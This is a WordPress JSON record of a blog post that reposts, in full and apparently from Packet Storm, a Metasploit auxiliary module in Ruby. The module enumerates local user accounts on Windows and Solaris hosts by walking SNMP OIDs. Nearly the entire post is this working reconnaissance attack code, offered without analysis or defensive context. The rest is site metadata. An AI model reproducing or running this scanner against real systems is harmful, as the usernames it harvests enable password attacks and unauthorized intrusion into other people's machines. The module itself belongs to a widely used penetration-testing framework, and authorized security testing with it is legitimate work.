{"id":59338,"date":"2024-09-01T04:10:40","date_gmt":"2024-09-01T01:10:40","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180921\/snmp_enumusers.rb.txt"},"modified":"2024-09-01T04:10:40","modified_gmt":"2024-09-01T01:10:40","slug":"snmp-windows-username-enumeration","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/snmp-windows-username-enumeration\/","title":{"rendered":"SNMP Windows Username Enumeration"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::SNMPClient<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<br \/>include SNMP<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;SNMP Windows Username Enumeration&#8217;,<br \/>&#8216;Description&#8217; =&gt; &#8216;<br \/>This module will use LanManager\/psProcessUsername OID values to<br \/>enumerate local user accounts on a Windows\/Solaris system via SNMP<br \/>&#8216;,<br \/>&#8216;Author&#8217; =&gt; [&#8216;tebo[at]attackresearch.com&#8217;],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<br \/>end<\/p>\n<p>def run_host(ip)<br \/>peer = &#8220;#{ip}:#{rport}&#8221;<br \/>begin<br \/>snmp = connect_snmp<\/p>\n<p>sys_desc = snmp.get_value(&#8216;sysDescr.0&#8217;)<br \/>if sys_desc.blank? || sys_desc.to_s == &#8216;Null&#8217;<br \/>vprint_error(&#8220;#{peer} No sysDescr received&#8221;)<br \/>return<br \/>end<br \/>sys_desc = sys_desc.split(\/[\\r\\n]\/).join(&#8216; &#8216;)<\/p>\n<p>sys_desc_map = {<br \/>\/Windows\/ =&gt; &#8216;1.3.6.1.4.1.77.1.2.25&#8217;,<br \/>\/Sun\/ =&gt; &#8216;1.3.6.1.4.1.42.3.12.1.8&#8217;<br \/>}<\/p>\n<p>matching_oids = sys_desc_map.select { |re, _| sys_desc =~ re }.values<br \/>if matching_oids.empty?<br \/>vprint_warning(&#8220;#{peer} Skipping unsupported sysDescr: &#8216;#{sys_desc}'&#8221;)<br \/>return<br \/>end<br \/>users = []\n<p>matching_oids.each do |oid|<br \/>snmp.walk(oid) do |row|<br \/>row.each { |val| users &lt;&lt; val.value.to_s }<br \/>end<br \/>end<br \/>unless users.empty?<br \/>users.sort!<br \/>users.uniq!<br \/>print_good(&#8220;#{peer} Found #{users.size} users: #{users.join(&#8216;, &#8216;)}&#8221;)<br \/>end<\/p>\n<p>report_note(<br \/>host: rhost,<br \/>port: rport,<br \/>proto: &#8216;udp&#8217;,<br \/>sname: &#8216;snmp&#8217;,<br \/>update: :unique_data,<br \/>type: &#8216;snmp.users&#8217;,<br \/>data: users<br \/>)<br \/>rescue SNMP::ParseError<br \/>print_error(&#8220;#{ip} Encountered an SNMP parsing error while trying to enumerate the host.&#8221;)<br \/>rescue ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion<br \/># too noisy for a scanner<br \/>ensure<br \/>disconnect_snmp<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::SNMPClientinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scannerinclude SNMP def initializesuper(&#8216;Name&#8217; =&gt; &#8216;SNMP Windows Username Enumeration&#8217;,&#8216;Description&#8217; =&gt; &#8216;This module will use LanManager\/psProcessUsername OID values toenumerate local user accounts on a Windows\/Solaris system via SNMP&#8216;,&#8216;Author&#8217; =&gt; [&#8216;tebo[at]attackresearch.com&#8217;],&#8216;License&#8217; =&gt; MSF_LICENSE)end def run_host(ip)peer = &#8220;#{ip}:#{rport}&#8221;beginsnmp = connect_snmp sys_desc = snmp.get_value(&#8216;sysDescr.0&#8217;)if &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59338","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59338","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59338"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59338\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59338"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59338"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59338"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}